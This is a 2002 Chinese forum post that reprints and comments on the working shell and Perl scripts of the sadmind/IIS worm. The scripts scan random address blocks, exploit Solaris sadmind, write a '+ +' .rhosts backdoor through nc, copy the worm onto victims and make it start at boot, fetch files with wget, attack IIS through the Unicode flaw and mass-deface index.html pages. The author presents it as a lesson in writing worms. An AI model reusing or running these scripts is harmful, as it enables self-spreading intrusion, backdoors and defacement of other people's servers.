发信人: bigmons(忙人~)
整理人: snowypeng(2002-05-23 09:29:24), 站内信件
|
关于sadmind/iis蠕虫病毒的详细分析
by password
(转载请保留其完整性)
以前老是喜欢用别人已经写好的程序,然后毫无分析的盲目使用,其结果可想而知,往往是出了几个错误就只好放弃。我想国内有很多象我这样梦想成为所谓黑客的人。终于有一天能够静下心来,细细地研究一下程序,猛然发现其实在unix编写一个蠕虫病毒并不是一件很复杂的事情。所以就萌发了写这篇文章的想法,愿与大家共享,希望大家从中能学到点东西,共同提高技术。我的信箱是[email protected],欢迎大家交流经验。
该蠕虫包含文件如下:(网上很多黑客站点都有下载)
index.html:攻击者主页
ranip.pl:随机产生一个B
uniattack.pl:利用编码漏洞攻击IIS的脚本
uniattack.sh:攻击IIS
sadmi.sh:攻击Solaris,利用漏洞sadmind
start.sh:主程序
time.sh:主程序
cmd1.txt:在rhosts增加++的命令
cmd2.txt:在肉鸡种植蠕虫的一些命令
pkgadd.txt:配合安装perl的选项
brute、sadmindex-sparc:攻击Solaris的程序
grabbb(端口扫描工具)、nc、gzip(解压缩工具)、wget(从web下载软件的工具)
在绿盟上有一篇关于此蠕虫病毒的简单介绍,大家有兴趣的话可以去看一看。在这篇文章里我将详细介绍主要脚本的功能,让大家学会如何写一个蠕虫病毒(当然可不是去破坏,呵呵),有了Internet,大家肯定学会了一样东西,那就是“合法的偷窃”,呵呵。把别人的东西吸收为己有,然后改造成自己的东西,也是一种进步:)。连鲁迅都说过我们要:吸其精华,弃其糟粕。废话少说,马上切入正题。
第一部分、找到有sadmind漏洞的soloris主机。(许多默认安装的主机,该服务都是开放的,尤其是那些喜欢偷懒的中国网管)。
sadmin.sh
#!/bin/sh
while true
do
#随机产生一个B类地址,例如61.11
i=`/usr/local/bin/perl /dev/cuc/ranip.pl`
j=0
#扫描该B类地址的rpc端口是否开放,为了提高扫描速度把该段地址分成了5段
#grabbb工具就是用来扫描端口的,其基本用户如下:
#grabbb –t [timeout] –a startofip –b endofip port
#并把扫描结果保存到/dev/cub/61.11.txt
while [ $j -lt 256 ];do
/dev/cuc/grabbb -t 3 -a $i.$j.1 -b $i.$j.50 111 >> /dev/cub/$i.txt
/dev/cuc/grabbb -t 3 -a $i.$j.51 -b $i.$j.100 111 >> /dev/cub/$i.txt
/dev/cuc/grabbb -t 3 -a $i.$j.101 -b $i.$j.150 111 >> /dev/cub/$i.txt
/dev/cuc/grabbb -t 3 -a $i.$j.151 -b $i.$j.200 111 >> /dev/cub/$i.txt
/dev/cuc/grabbb -t 3 -a $i.$j.201 -b $i.$j.254 111 >> /dev/cub/$i.txt
j=`/bin/echo "$j+1"|/bin/bc`
#等价于j=`expr $j + 1`
done
#取出所有rpc端口开放的ip地址列表
iplist=`/bin/awk -F: '{print $1}' /dev/cub/$i.txt`
for ip in $iplist;do
#利用rpcinfo命令获取该服务器开放的rpc服务
/bin/rpcinfo -p $ip > /dev/cub/$i.rpc.txt
#sadmind开放没有?屏幕是不会有结果返回的,所有东东都扔到垃圾箱里了,呵呵
#1代表标准输入,2代表错误输出
#该命令把grep查找的结果扔到无底洞(/dev/null)里,如果没有找到也不返回提示信息
/bin/grep 100232 /dev/cub/$i.rpc.txt >/dev/null 2>&1
#运用$?判断查找是否成功,0代表成功;1代表失败
if [ $? = 0 ];then
#开始攻击了,该工具程序是运用brute的手法,在肉鸡上开放了一个端口600
#brute的用法是:brute targetserverosver ip
#直接运行brute可以查看主机作系统版本的代码,其中3代表soloris 2.6,4代表7
/dev/cuc/brute 3 $ip >/dev/null 2>&1
if [ $? = 0 ];then
#如果攻击成功则运行cmd1.txt,就是相当于运行echo ++>/.rhosts
/bin/cat /dev/cuc/cmd1.txt|/dev/cuc/nc $ip 600 >/dev/null 2>&1
#接着把本攻击程序打包成uni.tar,然后运用rcp命令copy到肉鸡上
/bin/tar -cvf /tmp/uni.tar /dev/cuc
/bin/rcp /tmp/uni.tar root@$ip:/tmp/uni.tar >/dev/null 2>&1
if [ $? = 0 ];then
#在肉鸡上执行一大堆东东,呵呵,竟然要下载一个perl,然后安装,真是想的出来,呵呵,
#至于其可行性,需要进一步考证才才行。
#当然在肉鸡上也把该蠕虫进行繁殖,具体将在cmd.txt里说明。
/bin/cat /dev/cuc/cmd2.txt|/dev/cuc/nc $ip 600 >/dev/null 2>&1
#接着在肉鸡上手工启动该蠕虫
/bin/rsh -l root $ip /etc/rc2.d/S71rpc >/dev/null 2>&1 &
/bin/echo $ip >> /dev/cub/sadminhack.txt
#在本机上临时删除tar包
/bin/rm -f /tmp/uni.tar
fi
#若上述采用brute 3 ip攻击不成功则尝试brute 4 ip
else
/dev/cuc/brute 4 $ip >/dev/null 2>&1
if [ $? = 0 ];then
/bin/cat /dev/cuc/cmd1.txt|/dev/cuc/nc $ip 600 >/dev/null 2>&1
/bin/tar -cvf /tmp/uni.tar /dev/cuc
/bin/rcp /tmp/uni.tar root@$ip:/tmp/uni.tar >/dev/null 2>&1
if [ $? = 0 ];then
/bin/cat /dev/cuc/cmd2.txt|/dev/cuc/nc $ip 600 >/dev/null 2>&1
/bin/rsh -l root $ip /etc/rc2.d/S71rpc >/dev/null 2>&1 &
/bin/echo $ip >> /dev/cub/sadminhack.txt
/bin/rm -f /tmp/uni.tar
fi
fi
fi
fi
#清理临时文件
/bin/rm -f /dev/cub/$i.rpc.txt
done
/bin/rm -f /dev/cub/$i.txt
done
cmd1.txt
#等于echo ++ >/.rhosts(这种后门大家应该很。。吧)
/bin/echo "+ +" > `/bin/grep root /etc/passwd|/bin/awk -F: '{print $6}'`/.rhosts
exit
#也许有的人不懂awk的用户,简单的说就是把每行通过分隔符“:“分开,然后根据你的需要打印出某部分出来。Grep说白了就是查找过滤东东了。
cmd2.txt
/bin/tar -xvf /tmp/uni.tar
#写启动攻击脚本,并系统在每次启动的时候都自动运行。
#nohup命令就是说就算运行start.sh的用户已经退出系统,该命令仍可以在后台运行
#下面这几行就是在S71rpc里偷偷加入启动蠕虫的命令
/bin/echo "/bin/nohup /dev/cuc/start.sh >/dev/null 2>&1 &" > /etc/rc2.d/tmp1
/bin/cat /etc/rc2.d/S71rpc >> /etc/rc2.d/tmp1
/bin/mv /etc/rc2.d/S71rpc /etc/rc2.d/tmp2
/bin/mv /etc/rc2.d/tmp1 /etc/rc2.d/S71rpc
/bin/chmod 744 /etc/rc2.d/S71rpc
#等吧,开始下载perl了,漫漫长路兮。。。
/dev/cuc/wget -c -O /tmp/perl-5.005_03-sol26-sparc-local.gz http://202.96.209.10:80/mirrors/www.sunfreeware.com/sparc/2.6/perl-5.005_03-sol26-sparc-local.gz
/dev/cuc/gzip -d /tmp/perl-5.005_03-sol26-sparc-local.gz
/bin/mkdir /usr/local
/bin/cat /dev/cuc/pkgadd.txt|/usr/sbin/pkgadd -d /tmp/perl-5.005_03-sol26-sparc-local
/bin/rm -f /tmp/uni.tar /tmp/perl-5.005_03-sol26-sparc-local
exit
第二部分:利用unicode编码问题攻击IIS服务器。Unicdode是一个比较老的漏洞,目前很多服务器已经安装了此漏洞的补丁,当然漏网之鱼还是很多的。如果大家有兴趣的话,可以把此程序进行升级,如增加isapi.printer漏洞的攻击等,可以大大提高成功的概率。所以关于uniattack.pl我就不再做很详细的介绍。
uniattack.pl中的关键部分:
sub sendraw {
my ($pstr)=@_;
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
die("Socket problems\n");
if(connect(S,pack "SnA4x8",2,$port,$target)){
my @in;
select(S); $|=1; print $pstr;
while(<S>){ push @in, $_;}
select(STDOUT); close(S); return @in;
} else { die("Can't connect...\n"); }
}
这个子程序就是socket通讯用的程序,通过向服务器发送一堆get指令来获取或者执行命令,然后根据返回结果判断命令是否运行成功,大家可以根据此写一个通用的模板程序,应该是不难的。
uniattack.sh如果你能看明白sadmin.sh那么这段程序就可以跳过了。
#!/bin/sh
#随机产生一个B类地址,然后扫描其80端口
while true
do
i=`/usr/local/bin/perl /dev/cuc/ranip.pl`
j=0
while [ $j -lt 256 ];do
/dev/cuc/grabbb -t 3 -a $i.$j.1 -b $i.$j.50 80 >> /dev/cub/$i.txt
/dev/cuc/grabbb -t 3 -a $i.$j.51 -b $i.$j.100 80 >> /dev/cub/$i.txt
/dev/cuc/grabbb -t 3 -a $i.$j.101 -b $i.$j.150 80 >> /dev/cub/$i.txt
/dev/cuc/grabbb -t 3 -a $i.$j.151 -b $i.$j.200 80 >> /dev/cub/$i.txt
/dev/cuc/grabbb -t 3 -a $i.$j.201 -b $i.$j.254 80 >> /dev/cub/$i.txt
j=`/bin/echo "$j+1"|/bin/bc`
done
iplist=`/bin/awk -F: '{print $1}' /dev/cub/$i.txt`
for ip in $iplist;do
#uniattack攻击开始,并把写结果写到result.txt
/usr/local/bin/perl /dev/cuc/uniattack.pl $ip:80 >> /dev/cub/result.txt
done
rm -f /dev/cub/$i.txt
done
第三部分、主程序
time.sh:监测进程,kill长时间攻击未果的进程;对战绩进行统计,如果已经成功攻击2000台IIS主机则停止攻击。
#!/bin/sh
#5分钟前对IIS攻击进程进行采样
/bin/ps -ef|/bin/grep uniattack.pl > /dev/cub/tmp1
while true
do
/bin/sleep 300
#5分钟后对IIS攻击进程再次采样
/bin/ps -ef|/bin/grep uniattack.pl > /dev/cub/tmp2
/bin/awk '{print $2}' /dev/cub/tmp1 > /dev/cub/tmp3
process=`/bin/awk '{print $2}' /dev/cub/tmp2`
#对采样结果进行比较,如果5分钟后某进程仍未果则杀死该进程,防止过多的攻击进程长时间的占用系统资源。
for p in $process;do
/bin/grep $p /dev/cub/tmp3
if [ $? = 0 ];then
/bin/kill -9 $p
fi
done
#保存新的采样结果
/bin/cp /dev/cub/tmp2 /dev/cub/tmp1
#对战果进行统计
i=`/bin/grep hacked /dev/cub/result.txt|/bin/wc -l`
if [ $i -gt 2000 ];then
/bin/nohup /bin/find / -name "index.html" -exec /bin/cp /dev/cuc/index.html {} \; &
/bin/rm -f /dev/cub/result.txt
fi
done
start.sh:启功检测进程,并发动攻击。
#!/bin/sh
#建立log目录
if [ ! -d /dev/cub ]; then
/bin/mkdir /dev/cub
fi
#启动检测进程
/bin/nohup /dev/cuc/time.sh &
#发动攻击
i=1
while [ $i -lt 5 ]
do
/bin/nohup /dev/cuc/sadmin.sh &
/bin/nohup /dev/cuc/uniattack.sh &
i=`/bin/echo "$i+1"|/bin/bc`
done
第四部分、这一部分就是剩下的工具了nc(这个都不知道的话就别玩了)、gunzip(解压缩工具)、grabbb(端口扫描工具)、brute以及sadmindex-sparc:攻击Solaris的程序。
总结:通过上面的分析,你会发现这个程序其实很简单,是不是很多东西你都会呀?我觉得这是一个很好的例子,可以把各种知识糅合到一起,从而编写出一个功能强大的蠕虫。我们可以从中得到一种思维,病毒也应该是类似的原理吧。首先感染一台肉鸡,然后肉鸡自动运行某些程序来探测未打预防针的机器,接着毫不客气的将其感染,从而扩大到第二台肉鸡,这样战果就逐渐扩大了。要想成为一名真正的黑客,必须有过硬的本领,仅仅会用别人写好的攻击程序是远远不够的,必须掌握一定的基础知识才行。仅从这个例子而言,大家必须具备unix shell编程的知识、unix下socket编程的知识、unix下常用工具的使用、熟悉系统的各种漏洞才行。怎么样,大家看完这篇文章以后,有什么感受呢?一句话,大家还是老老实实学点本领吧。但愿我的文章能对大家有所启发。
|
|